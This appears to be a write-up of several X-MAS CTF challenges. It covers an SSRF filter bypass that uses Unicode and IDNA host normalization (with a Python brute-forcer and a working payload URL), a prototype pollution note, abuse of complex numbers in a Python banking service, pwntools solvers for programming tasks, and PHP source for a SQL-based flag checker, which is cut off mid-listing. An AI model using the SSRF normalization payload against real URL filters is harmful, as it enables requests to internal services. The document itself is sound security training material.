It is a kind of SSRF(Server side request forgery) challenge.
But there are filters checking data type, input type.
if (url.length !== new Set(url).size) return res.sendFile(__dirname + "/frog.png");
The filter code above means, no duplicate characters are not allowed.
If you use character a 'x', you cannot use that char anymore. Because, data-structure Set reduces duplicate element.
To make the url http://the.c0o0o0l-fl444g.server.internal:80 with no duplicate word is main challenge detail.
Host splitting attack
By using host splitting attack, we can do that.
Main reason the host splitting attack is possible, the unicode normalization spec of http implementation.
If you try to connect http://www.ⓐⓑⓒ.com, it will normalized to www.abc.com, this behavior is not bug.
I tried bruteforce all range in unicode char, can make similar characters with target domain.
#-*- coding:utf-8 -*-
import sys
target = "HTtP:/\\the.c0o0o0l-fl444g.server.internal"
ans = list(target)
print (ans)
print (len(ans))
chars = set(target)
req = {}
for c in chars:
if target.count(c) > 1:
req[c] = target.count(c) - 1
print (req)
for v in (range(256, 0xffff)):
try:
if len(req) == 0:
break
result = chr(v).encode('idna').decode('utf-8')
if result in req.keys():
print(result, v, chr(v))
for i in range(len(ans)):
if ans[i] == result:
ans[i] = chr(v)
break
req[result] = req[result] - 1
if req[result] == 0:
del req[result]
except:
pass
print (req)
print ("HTtP:/\\" + "".join(ans)[7:])
# new URL("HTtP:/\ⓣhℯ.c⁰ℴ₀o0ˡ-fℒ⁴₄4g.sℰʳvⅇℛ.iⁿＴernal").origin == 'http://the.c0o0o0l-fl444g.server.internal'
It returns similar host name.
But it doesn't work at javascript function, because of invalid dot(.) substitution unicode character.
So, I run bruteforce with javascript
When you type the below value, you can get the flag!
HTtP:/\ⓣhℯ。c⁰ℴ₀o0ˡ-fℒ⁴₄4g.sℰʳvⅇℛ．iⁿＴernal
Time to Draw
This challenge provides server code too.
I didn't back-up challenge details, only solved the problem.
As the link say, prototype pollution is like belowed.
__proto__ === Object.prototype
If you can change the value of someVariable.__proto__.token, you can change all token member variable of object that does not have member variable name 'token'.
This challenge seems very weird. When I connected the server with nc, there are some weird text lines.
The server get my number input of which modulus is less than 100.
$ nc challs.xmas.htsp.ro 6002
#########################
# _____ __ __ ____ #
# | __ \| \/ | _ \ #
# | |__) | \ / | |_) | #
# | ___/| |\/| | _ < #
# | | | | | | |_) | #
# |_| |_| |_|____/ #
# #
#########################
Welcome to our hacker-friendly terminal service!
This program is a part of our 'friendlier products for hackers' initiative.
Please select an action:
1. Open account
2. Report account
*you select 1*
That's great! As you probably know, our bank provides anonymous choose-your-interest-rate accounts.
Please keep in mind that the interest rate can be *any* number as long as its modulus is less than 100.
Interest: 1
Creating your account...
*your account has been created*
Received $1000 with attached note: 'ransom payment'
Balance: $1000
*request money withdrawal*
*error: your account must be at least 4 months old*
Month 1
-------
Balance: $1000.0
Your account has been reported by an anonymous user. CIA confiscated your funds.
Balance: $0.0
Month 2
-------
Balance: $0.0
Your account has been reported by an anonymous user. FBI confiscated your funds.
Balance: $0.0
Month 3
-------
Balance: $0.0
Your account has been reported by an anonymous user. INTERPOL confiscated your funds.
Balance: $0.0
Month 4
-------
Balance: $0.0
*you want to buy a flag for $10 million*
ERROR: Not enough funds.
There is a hint, the modulus is absolute value.
Furthermore, the challgne name is PMB(Python Math Bank). So I thought it is related with mathematical function in python.
I googled about abs function in python.
I found that return value of abs function when input parameter is not real number but complex number.(imaginary number).
The inspiration is following.
>>> abs(1+99j)
99.00505037623081
So, I entered the complex number (1+99j)
The result was awesome!
$ nc challs.xmas.htsp.ro 6002
#########################
# _____ __ __ ____ #
# | __ \| \/ | _ \ #
# | |__) | \ / | |_) | #
# | ___/| |\/| | _ < #
# | | | | | | |_) | #
# |_| |_| |_|____/ #
# #
#########################
Welcome to our hacker-friendly terminal service!
This program is a part of our 'friendlier products for hackers' initiative.
Please select an action:
1. Open account
2. Report account
*you select 1*
That's great! As you probably know, our bank provides anonymous choose-your-interest-rate accounts.
Please keep in mind that the interest rate can be *any* number as long as its modulus is less than 100.
Interest: 1+99j
Creating your account...
*your account has been created*
Received $1000 with attached note: 'ransom payment'
Balance: $1000
*request money withdrawal*
*error: your account must be at least 4 months old*
Month 1
-------
Balance: $(1000+99000j)
Your account has been reported by an anonymous user. CIA confiscated your funds.
Balance: $99000j
Month 2
-------
Balance: $(-9801000+99000j)
Your account has been reported by an anonymous user. FBI confiscated your funds.
Balance: $(-9801000+99000j)
Month 3
-------
Balance: $(-19602000-970200000j)
Your account has been reported by an anonymous user. INTERPOL confiscated your funds.
Balance: $(-19602000-970200000j)
Month 4
-------
Balance: $(96030198000-2910798000j)
*you want to buy a flag for $10 million*
GG!
X-MAS{th4t_1s_4n_1nt3r3st1ng_1nt3r3st_r4t3-0116c512b7615456}
Thanks to counterintuitive arithmetic result of complex number, we can get the flag!
Programming - Biggest Lowest
$ nc challs.xmas.htsp.ro 6051
So you think you have what it takes to be a good programmer?
Then solve this super hardcore task:
Given an array print the first k1 smallest elements of the array in increasing order and then the first k2 elements of the array in decreasing order.
You have 50 tests that you'll gave to answer in maximum 45 seconds, GO!
Here's an example of the format in which a response should be provided:
1, 2, 3; 10, 9, 8
Test number: 1/50
array = [6, 6, 5, 7, 3]
k1 = 1
k2 = 3
This is not the the cyber security challenge. It is such kind of a traditional competitive programming challenge.
The problem can be solved by deterministic computer algorithm.
This challenge is a easy one, just sort and print leading segment tailing segment.
The solver code is following
#!/usr/bin/env python3.5
from pwn import *
import sys
p = remote("challs.xmas.htsp.ro", 6051)
def solve():
global p
p.recvuntil("array = [")
array = sorted(list(map(int, p.recvuntil("]")[:-1].split(b","))))
p.recvuntil("k1 = ")
k1 = int(p.recvuntil("\n"))
p.recvuntil("k2 = ")
k2 = int(p.recvuntil("\n"))
ans1 = [str(array[i]) for i in range(k1)]
ans2 = [str(array[-i]) for i in range(1, k2+1)]
p.sendline(", ".join(ans1) + "; " + ", ".join(ans2))
res = p.recvuntil("!")
print (res)
if b"Good" not in res:
sys.exit()
for i in (range(50)):
print ("Doing... {}/50".format(i))
solve()
print (p.recv())
p.close()
# flag is X-MAS{th15_i5_4_h34p_pr0bl3m_bu7_17'5_n0t_4_pwn_ch41l}
Programming - Many Paths
$ nc challs.xmas.htsp.ro 6053
I swear that Santa is going crazy with those problems, this time we're really screwed!
The new problem asks us the following:
Given an undirected graph of size N by its adjacency matrix and a set of forbidden nodes, tell me how many paths from node 1 to node N of exactly length L that don't pass through any of the forbidden nodes exist (please note that a node can be visited multiple times)?
And if that wasn't enough, we need to answer 40 of those problems in 45 seconds and to give each output modulo 666013. What does that even mean!?
Test number: 1/40
N = 5
adjacency matrix:
0,1,1,0,1
1,0,0,0,1
1,0,0,0,1
0,0,0,0,0
1,1,1,0,0
forbidden nodes: [4]
L = 6
This challenge can be solved with simple dynamic programming idea.
Let's define the "dp[a][b]" => number of cases reach to 'b' place with length of 'a'
Then I can write solver with only python implementing this idea.
#!/usr/bin/env python3.5
from pwn import *
import sys
p = remote('challs.xmas.htsp.ro', 6053)
def solve():
mod = 666013
p.recvuntil("N = ")
N = int(p.recvuntil("\n").rstrip(b"\n"))
adj = []
p.recvuntil("matrix:\n")
for i in range(N):
row = list(map(int, p.recvuntil("\n").rstrip(b"\n").split(b",")))
adj.append(row)
p.recvuntil("nodes: [")
forbidden = list(map(int, filter(None, p.recvuntil("]").rstrip(b']').split(b","))))
p.recvuntil("L = ")
L = int(p.recvuntil("\n").rstrip(b"\n"))
dp = [[0 for i in range(N)] for j in range(L+1)]
dp[0][0] = 1
# print (dp)
for i in range(1, L+1):
for j in range(N):
if j+1 in forbidden:
continue
for k in range(N):
if k+1 in forbidden:
continue
if adj[j][k] != 0:
# there is path between j and k
dp[i][j] += dp[i-1][k]
dp[i][j] %= mod
ans = dp[L][N-1]
p.sendline(str(ans))
res = p.recvuntil("!")
if b"Good" not in res:
print (N)
print (adj)
print (forbidden)
print (L)
print (dp)
print (ans)
p.close()
sys.exit()
else:
print("Correct! N={}, L={}".format(N, L))
for i in range(40):
print ("Solving {}/40".format(i))
solve()
p.interactive()
But this solver code is too slow to get the flag. Perhaps near about 26/40 test case, got time limit exceed judge.
Analysising the test case, L length is much larger than N value. I reduced memory usage due to dp array.
#!/usr/bin/env python3.5
from pwn import *
import sys
p = remote('challs.xmas.htsp.ro', 6053)
def solve():
mod = 666013
p.recvuntil("N = ")
N = int(p.recvuntil("\n").rstrip(b"\n"))
adj = []
p.recvuntil("matrix:\n")
for i in range(N):
row = list(map(int, p.recvuntil("\n").rstrip(b"\n").split(b",")))
adj.append(row)
p.recvuntil("nodes: [")
forbidden = list(map(int, filter(None, p.recvuntil("]").rstrip(b']').split(b","))))
p.recvuntil("L = ")
L = int(p.recvuntil("\n").rstrip(b"\n"))
dp = [[0 for i in range(N)] for j in range(2)]
dp[0][0] = 1
# print (dp)
for i in range(1, L+1):
for j in range(N):
if j+1 in forbidden:
continue
for k in range(N):
if k+1 in forbidden:
continue
if adj[j][k] != 0:
# there is path between j and k
dp[i%2][j] += dp[(i+1)%2][k]
dp[i%2][j] %= mod
dp[(i+1)%2] = [0 for i in range(N)]
ans = dp[L%2][N-1]
p.sendline(str(ans))
res = p.recvuntil("!")
if b"Good" not in res:
print (N)
print (adj)
print (forbidden)
print (L)
print (dp)
print (ans)
p.close()
sys.exit()
else:
print("Correct! N={}, L={}".format(N, L))
for i in range(40):
print ("Solving {}/40".format(i))
solve()
p.interactive()
But the code is slow yet.
I used adjacent list instead of adjacent matrix.
#!/usr/bin/env python3.5
from pwn import *
import sys
p = remote('challs.xmas.htsp.ro', 6053)
def solve():
mod = 666013
p.recvuntil("N = ")
N = int(p.recvuntil("\n").rstrip(b"\n"))
adj = []
p.recvuntil("matrix:\n")
for i in range(N):
row = list(map(int, p.recvuntil("\n").rstrip(b"\n").split(b",")))
adj.append(row)
p.recvuntil("nodes: [")
forbidden = list(map(int, filter(None, p.recvuntil("]").rstrip(b']').split(b","))))
p.recvuntil("L = ")
L = int(p.recvuntil("\n").rstrip(b"\n"))
dp = [[0 for i in range(N)] for j in range(2)]
edges = [[] for i in range(N)]
for i in range(N):
for j in range(N):
if j+1 in forbidden:
continue
if adj[i][j] != 0:
edges[i].append(j)
dp[0][0] = 1
for i in range(1, L+1):
for j in range(N):
if j+1 in forbidden:
continue
for k in edges[j]:
if adj[j][k] != 0:
# there is path between j and k
dp[i%2][j] += dp[(i+1)%2][k]
dp[i%2][j] %= mod
dp[(i+1)%2] = [0 for i in range(N)]
ans = dp[L%2][N-1]
p.sendline(str(ans))
res = p.recvuntil("!")
if b"Good" not in res:
print (N)
print (adj)
print (forbidden)
print (L)
print (dp)
print (ans)
p.close()
sys.exit()
else:
print("Correct! N={}, L={}".format(N, L))
for i in range(40):
print ("Solving {}/40".format(i))
solve()
p.interactive()
Maybe slow yet.
I wrote cpp based solver, make the python code take advantage of the cpp solver.
#!/usr/bin/env python3.5
from pwn import *
import sys
p = remote('challs.xmas.htsp.ro', 6053)
def solve():
mod = 666013
p.recvuntil("N = ")
N = int(p.recvuntil("\n").rstrip(b"\n"))
adj = []
p.recvuntil("matrix:\n")
for i in range(N):
row = list(map(int, p.recvuntil("\n").rstrip(b"\n").split(b",")))
adj.append(row)
p.recvuntil("nodes: [")
ban = list(map(int, filter(None, p.recvuntil("]").rstrip(b']').split(b","))))
p.recvuntil("L = ")
L = int(p.recvuntil("\n").rstrip(b"\n"))
solver = process('./csolver')
solver.sendline(str(N))
for i in range(N):
solver.sendline(" ".join(map(str,adj[i])))
solver.sendline(str(len(ban)))
for b in ban:
solver.sendline(str(b))
solver.sendline(str(L))
ans = int(solver.recvuntil(b"\n").rstrip(b"\n"))
solver.close()
p.sendline(str(ans))
res = p.recvuntil("!")
if b"Good" not in res:
print (N)
print (adj)
print (ban)
print (L)
print (dp)
print (ans)
p.close()
sys.exit()
else:
print("Correct! N={}, L={}".format(N, L))
for i in range(40):
print ("Solving {}/40".format(i))
solve()
p.interactive()
cpp solver code following.
#include <bits/stdc++.h>
using namespace std;
int adj[100][100];
int dp[2][100];
vector<int> edges[100];
set<int> ban;
const int MOD = 666013;
int main() {
int N, L, bl;
cin >> N;
for (int i=0; i < N; i++)
for (int j=0; j < N; j++)
cin >> adj[i][j];
cin >> bl;
while(bl--) {
int tmp; cin >> tmp;
tmp--;
ban.insert(tmp);
}
cin >> L;
for (int i=0; i< N; i++) {
if (ban.find(i) != ban.end()) continue;
for (int j=0;j < N; j++)
if (adj[i][j])
edges[i].push_back(j);
}
dp[0][0] = 1;
for (int i=1; i <= L; i++) {
for (int j=0;j < N; j++) {
if (ban.find(j) != ban.end()) continue;
for (int l=0; l < edges[j].size(); l++) {
int k = edges[j][l];
dp[i%2][j] += dp[(i+1)%2][k];
dp[i%2][j] %= MOD;
}
}
for (int j=0;j < N; j++)
dp[(i+1)%2][j] = 0;
}
cout << dp[L%2][N-1] << endl;
return 0;
}
Finally, my solver solved all test cases, got the flag!
But, the flag implies that the intended solution is matrix expansion.
I think about it, then I can solve the challenge with matrix multiplication.
Because, the next dp array is defined with linear combination of previous dp array.
If the recurrence relation can be denoted with linear combination of previous variable, we can transform recurrence relation into matrix multiplication.
The matrix is the adjacent matrix.
Matrix multiplication computing time complexity can be reduced with O(lg(L)* A), A is constant the cost of matrix multiplication.
The final solve code with matrix multiplication is following
#!/usr/bin/env python3.5
from pwn import *
import numpy as np
from numpy.linalg import matrix_power
import sys
mod = 666013
p = remote('challs.xmas.htsp.ro', 6053)
def power(mat, exp):
global mod
if exp <= 1:
return mat % mod
if exp % 2 == 0:
half = power(mat, exp//2)
return half * half % mod
else:
return power(mat, exp-1) * mat % mod
def solve():
global mod
p.recvuntil("N = ")
N = int(p.recvuntil("\n").rstrip(b"\n"))
adj = []
p.recvuntil("matrix:\n")
for i in range(N):
row = list(map(int, p.recvuntil("\n").rstrip(b"\n").split(b",")))
adj.append(row)
p.recvuntil("nodes: [")
ban = list(map(int, filter(None, p.recvuntil("]").rstrip(b']').split(b","))))
p.recvuntil("L = ")
L = int(p.recvuntil("\n").rstrip(b"\n"))
mat = np.asmatrix(adj)
rmat = power(mat, L)
ans = rmat[0,N-1]
p.sendline(str(ans))
res = p.recvuntil("!")
if b"Good" not in res:
print (res)
print (N)
print (adj)
print (ban)
print (L)
print (ans)
p.close()
sys.exit()
else:
print("Correct! N={}, L={}".format(N, L))
for i in range(40):
print ("Solving {}/40".format(i))
solve()
print (p.recvuntil("}"))
p.close()
Web - PHP Master
Taking advantage of php type juggling. == operator allows type juggling with loose comparision. === operation does not allow type juggling, strict comparision.
Just analyze the sql query can make us get the flag.
<?php
if (isset($_GET['source'])) {
show_source("index.php");
die ();
}
if (isset($_POST['flag'])) {
include ("config.php");
$conn = new mysqli($servername, $username, $password, $dbname);
$query = "INSERT INTO FLAG (`id`, `n`) VALUES ";
$alf = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789?!-_{}()";
header('Ever wondered that Soy could be pronounced: like Soiii? Me neither.');
for ($i=0; $i<strlen($_POST['flag']) && $i < 50; $i++) {
$c = $_POST['flag'][$i];
if (strlen($c) === 1) {
$indx = strpos($alf, $c);
if ($indx !== FALSE) {
$query .= '(' . $i . ',"' . $alf[$indx] . '"),';
} else {
die("Invalid char.");
}
} else {
die("Invalid input?");
}
}
$query = substr($query, 0, strlen($query) - 1);
mysqli_query($conn, 'DROP TABLE IF EXISTS FLAG');
mysqli_query($conn, 'CREATE TABLE FLAG (`id` int not null primary key, `n` char)');
mysqli_query($conn, $query);
$query = "SELECT o FROM ( SELECT 0 v, '' o, 0 pc FROM (SELECT @pc:=0, @mem:='', @out:='') i UNION ALL SELECT v, CASE @pc WHEN 121 THEN 0 WHEN 70 THEN @pc:=73 WHEN 87 THEN IF(@x3 = 'a', 0, @pc:=89) WHEN 32 THEN @sp := @sp + 1 WHEN 25 THEN @sp := @sp - 1 WHEN 28 THEN @sp := @sp + 1 WHEN 56 THEN @sp := @sp + 1 WHEN 18 THEN IF(BIN(ASCII(@prt)) NOT LIKE '1111011', @pc:=89, 0) WHEN 126 THEN 0 WHEN 17 THEN @prt := (SELECT n FROM FLAG WHERE id = 5) WHEN 12 THEN IF((SELECT n FROM FLAG WHERE id = 2) = 'M', 0, @pc:=80) WHEN 11 THEN IF(@count = @targetsz, 0, @pc:=89) WHEN 103 THEN @sp := @sp + 1 WHEN 41 THEN IF(INSTR(@e, '?') > 0, 0, @pc:=43) WHEN 81 THEN (SELECT @x1 := n FROM FLAG WHERE id = 4) WHEN 49 THEN IF(SUBSTR(@dat, @i - 1, 3) NOT LIKE REVERSE('%tao%'), @pc:=124, 0) WHEN 73 THEN 0 WHEN 82 THEN (SELECT @x2 := n FROM FLAG WHERE id = 5) WHEN 58 THEN @sp := @sp + 1 WHEN 92 THEN 0 WHEN 85 THEN (SELECT @x3 := n FROM FLAG WHERE id = 6) WHEN 64 THEN IF((SELECT FIELD((COALESCE((SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG where id in (17, ASCII(@e)/3-3, (SELECT @xx := CEILING(ASCII(@f)/3)+1))), '78')), 'ATT', 'BXX', 'ENN', 'FPP', 'VMM', 'PSS', 'ZEE', 'YDD', 'PPP')) = FLOOR(@xx / 4), 0, @pc:=89) WHEN 95 THEN IF(@n = 0, 0, @pc:=99) WHEN 74 THEN @i := @i + 1 WHEN 68 THEN (SELECT @e := CONCAT_WS('AVION', (SELECT n FROM FLAG WHERE id = @i))) WHEN 78 THEN @out := @ok WHEN 107 THEN @sp := @sp - 1 WHEN 21 THEN @sp := @sp + 1 WHEN 83 THEN IF(@x1 = 'd', 0, @pc:=89) WHEN 104 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) WHEN 31 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) WHEN 122 THEN @sp := @sp - 1 WHEN 102 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n - 1,'</m>')) WHEN 45 THEN 0 WHEN 93 THEN @get_arg_tmp := @sp-2 WHEN 26 THEN @prt := (SELECT n FROM FLAG where id = 6) WHEN 86 THEN (SELECT @x4 := n FROM FLAG WHERE id = 7) WHEN 69 THEN IF(INSTR((SELECT IF(ORD(@e) = @i ^ 0x4c, @f, CHAR(@xx*2.75))), '?') = '0', 0, @pc:=71) WHEN 97 THEN @sp := @sp - 1 WHEN 59 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) WHEN 108 THEN @sp := @sp - 1 WHEN 46 THEN @i := @i - 1 WHEN 115 THEN @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]') WHEN 100 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n,'</m>')) WHEN 55 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>')) WHEN 19 THEN @sp := 1 WHEN 24 THEN @pc:=92 WHEN 33 THEN @pc:=113 WHEN 29 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',87,'</m>')) WHEN 16 THEN IF((@prt SOUNDS LIKE 'Soiii!'), 0, @pc:=80) WHEN 119 THEN IF(ASCII(@n) = @compareto, @pc:=121, 0) WHEN 3 THEN @notok := 'Wrong.' WHEN 42 THEN @pc:=45 WHEN 8 THEN IF(ASCII(@e) ^ 32 = 120, 0, @pc:=89) WHEN 98 THEN @pc:=ExtractValue(@mem,'/m[$@sp]') WHEN 50 THEN (SELECT @i := GROUP_CONCAT(n SEPARATOR '') FROM FLAG Where id in (14, 16, 19, 22, 25, 32)) WHEN 91 THEN @pc:=126 WHEN 117 THEN @compareto:=ExtractValue(@mem,'/m[$@get_arg_tmp]') WHEN 34 THEN @sp := @sp - 2 WHEN 84 THEN IF(@x2 = 'e', 0, @pc:=89) WHEN 37 THEN @i := 13 WHEN 20 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',7,'</m>')) WHEN 63 THEN IF(@rv = INSTR('t35t', 'm4ch1n3'), @pc:=80, 0) WHEN 53 THEN IF(STRCMP((SELECT left(REPLACE(UNHEX(REPLACE(hex(RIGHT(QUOTE(MID(MAKE_SET(40 | 2,'Ook.','Ook?','Ook!','Ook?', 'Ook!','Ook?','Ook.'), 4)), 12)), '4F6F6B', '2B')), ',+', ''), 3)), (SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG WHERE id > 28 and id < 32)) NOT LIKE '0', @pc:=89, 0) WHEN 111 THEN @sp := @sp - 1 WHEN 6 THEN IF(@dat = 'X-MAS', @pc:=80, 0) WHEN 80 THEN 0 WHEN 112 THEN @pc:=ExtractValue(@mem,'/m[$@sp]') WHEN 120 THEN @rv := 0 WHEN 90 THEN @out := @notok WHEN 61 THEN @pc:=113 WHEN 43 THEN 0 WHEN 30 THEN @sp := @sp + 1 WHEN 101 THEN @sp := @sp + 1 WHEN 52 THEN IF((SELECT IF(SUBSTR(@dat, (SELECT CEILING(ASCII(ASCII(@F))/2)), 3) = (SELECT NAME_CONST('TAO', 'SQL')), 1, 0)) = FIND_IN_SET(0,'f,e,e,d'), @pc:=124, 0) WHEN 71 THEN 0 WHEN 9 THEN IF((SELECT n FROM FLAG WHERE id = 1) = '-', 0, @pc:=89) WHEN 35 THEN IF(@rv = INSTR('xbar', 'foobar'), @pc:=80, 0) WHEN 62 THEN @sp := @sp - 2 WHEN 2 THEN @ok := 'OK.' WHEN 51 THEN IF(HEX(@i) = REPEAT('5F', 6), 0, @pc:=89) WHEN 88 THEN IF(@x4 = 'd', 0, @pc:=89) WHEN 109 THEN @n:=ExtractValue(@mem,'/m[$@sp]') WHEN 10 THEN (SELECT @count := COUNT(*) FROM FLAG) WHEN 1 THEN @strn := 'MySQL' WHEN 39 THEN 0 WHEN 96 THEN @rv := 1 WHEN 106 THEN @pc:=92 WHEN 114 THEN @get_arg_tmp := @sp-3 WHEN 47 THEN IF(@i > 10, @pc:=39, 0) WHEN 0 THEN @mem:=CONCAT(@mem,REPEAT('<m></m>',50)) WHEN 94 THEN @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]') WHEN 60 THEN @sp := @sp + 1 WHEN 99 THEN 0 WHEN 123 THEN @pc:=ExtractValue(@mem,'/m[$@sp]') WHEN 89 THEN 0 WHEN 38 THEN @l := 0 WHEN 113 THEN 0 WHEN 36 THEN IF((SELECT ELT(BIT_LENGTH(BIN(12))/32, BINARY(RTRIM(CONCAT(REVERSE(repeat(SUBSTR(REGEXP_REPLACE(HEX(weight_string(TRIM(UCASE(TO_BASE64((SELECT CONCAT((SELECT n FROM FLAG WHERE id LIKE '20'), (SELECT n FROM FLAG where id IN ('50', '51', SUBSTR('121', 2, 2)))))))))), 'D', 'A'), -16, 16), 1)), (SELECT SPACE(6))))))) = CONCAT_WS('00','A3','43','75','A4',''), 0, @pc:=89) WHEN 13 THEN (SELECT @f := n FROM FLAG WHERE id = 3) WHEN 44 THEN @l := 1 WHEN 65 THEN @i := 33 WHEN 48 THEN IF(@l > FIND_IN_SET('x','a,b,c,d'), @pc:=89, 0) WHEN 110 THEN @rv := @rv * @n WHEN 125 THEN @out := @notok WHEN 127 THEN 0 WHEN 4 THEN @targetsz := 42 WHEN 5 THEN (SELECT @dat := COALESCE(NULL, NULL, GROUP_CONCAT(n SEPARATOR ''), 'X-MAS') FROM FLAG) WHEN 116 THEN @get_arg_tmp := @sp-2 WHEN 23 THEN @sp := @sp + 1 WHEN 105 THEN @sp := @sp + 1 WHEN 22 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) WHEN 15 THEN @prt := CONCAT((SELECT n FROM FLAG WHERE id = 4), (SELECT n FROM FLAG WHERE id = 7), (SELECT n FROM FLAG WHERE id = 24)) WHEN 14 THEN IF(ASCII(@e) + ASCII(@f) = 153, 0, @pc:=89) WHEN 54 THEN @prt := (SELECT n FROM FLAG whEre id in (CAST((SUBSTR(REPEAT(RPAD(SOUNDEX('doggo'), 2, '?'), 2), 4, 1)) AS INTEGER) * 7 + 1)) WHEN 72 THEN @l := @l + 1 WHEN 77 THEN 0 WHEN 118 THEN @rv := 1 WHEN 27 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>')) WHEN 76 THEN IF(@l > LOCATE(FIND_IN_SET('p','abcdefghijklmnoqrstuvwxyz'), '1'), @pc:=124, 0) WHEN 7 THEN (SELECT @e := n FROM FLAG WHERE id = 0) WHEN 40 THEN (SELECT @e := CONCAT((SELECT n FROM FLAG WHERE id = @i))) WHEN 79 THEN @pc:=126 WHEN 124 THEN 0 WHEN 66 THEN @l := 0 WHEN 57 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',52,'</m>')) WHEN 67 THEN 0 WHEN 75 THEN IF(@i < 41, @pc:=67, 0) ELSE @out END, @pc:=@pc+1 FROM (SELECT (E0.v+E1.v+E2.v+E3.v+E4.v+E5.v+E6.v+E7.v+E8.v+E9.v+E10.v) v FROM(SELECT 0 v UNION ALL SELECT 1 v) E0 CROSS JOIN (SELECT 0 v UNION ALL SELECT 2 v) E1 CROSS JOIN (SELECT 0 v UNION ALL SELECT 4 v) E2 CROSS JOIN (SELECT 0 v UNION ALL SELECT 8 v) E3 CROSS JOIN (SELECT 0 v UNION ALL SELECT 16 v) E4 CROSS JOIN (SELECT 0 v UNION ALL SELECT 32 v) E5 CROSS JOIN (SELECT 0 v UNION ALL SELECT 64 v) E6 CROSS JOIN (SELECT 0 v UNION ALL SELECT 128 v) E7 CROSS JOIN (SELECT 0 v UNION ALL SELECT 256 v) E8 CROSS JOIN (SELECT 0 v UNION ALL SELECT 512 v) E9 CROSS JOIN (SELECT 0 v UNION ALL SELECT 1024 v) E10 ORDER BY v) s) q ORDER BY v DESC LIMIT 1";
mysqli_query($conn, $query, MYSQLI_USE_RESULT);
$result = mysqli_query($conn, $query, MYSQLI_USE_RESULT);
echo mysqli_fetch_array ($result, MYSQLI_ASSOC)['o'];
die();
}
?>
The complex sql query is actually a kind of virtual machine.
It defined custom variable named, pc, memory and etc.
The instruction is defined as pc value with case then, else syntax.
SELECT o FROM
( SELECT 0 v, '' o, 0 pc FROM
(SELECT @pc:=0, @mem:='', @out:='') i UNION ALL SELECT v, CASE @pc
WHEN 121 THEN 0
WHEN 70 THEN @pc:=73
WHEN 87 THEN IF(@x3 = 'a', 0, @pc:=89)
WHEN 32 THEN @sp := @sp + 1
WHEN 25 THEN @sp := @sp - 1
WHEN 28 THEN @sp := @sp + 1
WHEN 56 THEN @sp := @sp + 1
WHEN 18 THEN IF(BIN(ASCII(@prt)) NOT LIKE '1111011', @pc:=89, 0)
WHEN 126 THEN 0
WHEN 17 THEN @prt := (SELECT n FROM FLAG WHERE id = 5)
WHEN 12 THEN IF((SELECT n FROM FLAG WHERE id = 2) = 'M', 0, @pc:=80)
WHEN 11 THEN IF(@count = @targetsz, 0, @pc:=89)
WHEN 103 THEN @sp := @sp + 1
WHEN 41 THEN IF(INSTR(@e, '?') > 0, 0, @pc:=43)
WHEN 81 THEN (SELECT @x1 := n FROM FLAG WHERE id = 4)
WHEN 49 THEN IF(SUBSTR(@dat, @i - 1, 3) NOT LIKE REVERSE('%tao%'), @pc:=124, 0)
WHEN 73 THEN 0
WHEN 82 THEN (SELECT @x2 := n FROM FLAG WHERE id = 5)
WHEN 58 THEN @sp := @sp + 1
WHEN 92 THEN 0
WHEN 85 THEN (SELECT @x3 := n FROM FLAG WHERE id = 6)
WHEN 64 THEN IF((SELECT FIELD((COALESCE((SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG where id in (17, ASCII(@e)/3-3, (SELECT @xx := CEILING(ASCII(@f)/3)+1))), '78')), 'ATT', 'BXX', 'ENN', 'FPP', 'VMM', 'PSS', 'ZEE', 'YDD', 'PPP')) = FLOOR(@xx / 4), 0, @pc:=89)
WHEN 95 THEN IF(@n = 0, 0, @pc:=99)
WHEN 74 THEN @i := @i + 1
WHEN 68 THEN (SELECT @e := CONCAT_WS('AVION', (SELECT n FROM FLAG WHERE id = @i)))
WHEN 78 THEN @out := @ok
WHEN 107 THEN @sp := @sp - 1
WHEN 21 THEN @sp := @sp + 1
WHEN 83 THEN IF(@x1 = 'd', 0, @pc:=89)
WHEN 104 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>'))
WHEN 31 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>'))
WHEN 122 THEN @sp := @sp - 1
WHEN 102 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n - 1,'</m>'))
WHEN 45 THEN 0
WHEN 93 THEN @get_arg_tmp := @sp-2
WHEN 26 THEN @prt := (SELECT n FROM FLAG where id = 6)
WHEN 86 THEN (SELECT @x4 := n FROM FLAG WHERE id = 7)
WHEN 69 THEN IF(INSTR((SELECT IF(ORD(@e) = @i ^ 0x4c, @f, CHAR(@xx*2.75))), '?') = '0', 0, @pc:=71)
WHEN 97 THEN @sp := @sp - 1
WHEN 59 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>'))
WHEN 108 THEN @sp := @sp - 1
WHEN 46 THEN @i := @i - 1
WHEN 115 THEN @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]')
WHEN 100 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n,'</m>'))
WHEN 55 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>'))
WHEN 19 THEN @sp := 1
WHEN 24 THEN @pc:=92
WHEN 33 THEN @pc:=113
